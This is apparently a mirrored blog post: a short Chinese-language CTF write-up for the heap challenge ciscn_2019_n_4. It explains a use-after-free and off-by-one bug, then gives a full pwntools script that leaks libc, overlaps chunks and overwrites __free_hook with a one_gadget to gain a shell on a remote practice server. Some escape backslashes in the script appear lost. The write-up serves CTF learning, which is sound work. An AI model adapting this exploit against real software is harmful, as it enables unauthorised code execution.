zoukankan      html  css  js  c++  java
  • ciscn_2019_n_4

    漏洞点还挺多的

    uaf+off-by-one

    通过uaf泄露libc,通过off-by-one达成overlap,来double free劫持free_hook即可

    from pwn import *
    
    #p=process('./ciscn_2019_n_4')
    p=remote('node3.buuoj.cn',25496)
    libc=ELF('/lib/x86_64-linux-gnu/libc-2.27.so')
    text='Your choice :'
    def add(size,content):
        p.sendlineafter(':','1')
        p.sendlineafter(' ?',str(size))
        p.sendlineafter('nest?',content)
    
    def edit(idx,content):
        p.sendlineafter(':','2')
        p.sendlineafter(' :',str(idx))
        p.sendlineafter('nest?',content)
    
    def show(idx):
        p.sendlineafter(':','3')
        p.sendlineafter('Index :',str(idx))
    
    def delete(idx):
        p.sendlineafter(':','4')
        p.sendlineafter('Index :',str(idx))
    
    add(0x410,'p')#0
    add(0x10,'p')#1
    
    delete(0)
    add(0x18,'ppppppp')#0
    show(0)
    print(hex(libc.symbols['__malloc_hook']))
    libc.address=u64(p.recvuntil('x7f')[-6:].ljust(8,b'x00'))-1120-libc.symbols['__malloc_hook']
    
    add(0x10,'p')#2
    add(0x10,'p')#3
    add(0x10,'p')#4
    
    one=libc.address+0x4f322
    free_hook=libc.symbols['__free_hook']
    edit(0,b'z'*0x10+p64(0x40)+b'x81')#0
    print(hex(libc.address))
    delete(2)
    delete(3)
    add(0x71,b'p'*0x18+p64(0x21)+p64(free_hook))#2
    delete(2)
    add(0x10,'p')
    add(0x10,p64(one))
    #gdb.attach(p)
    p.interactive()
  • 相关阅读:
    js随机模块颜色
    可以随鼠标拖拽的div
    js动弹特效
    正则表达式-表单验证
    get你想象不到的技能
    文字列表滚动(文字轮播)
    jQuery
    jQuery中效果animate方法解决width是百分比出现的问题
    iscroll在谷歌浏览器中bug
    js倒计时 手机休眠时 时间不进行减少
  • 原文地址:https://www.cnblogs.com/pppyyyzzz/p/14514657.html
Copyright © 2011-2022 走看看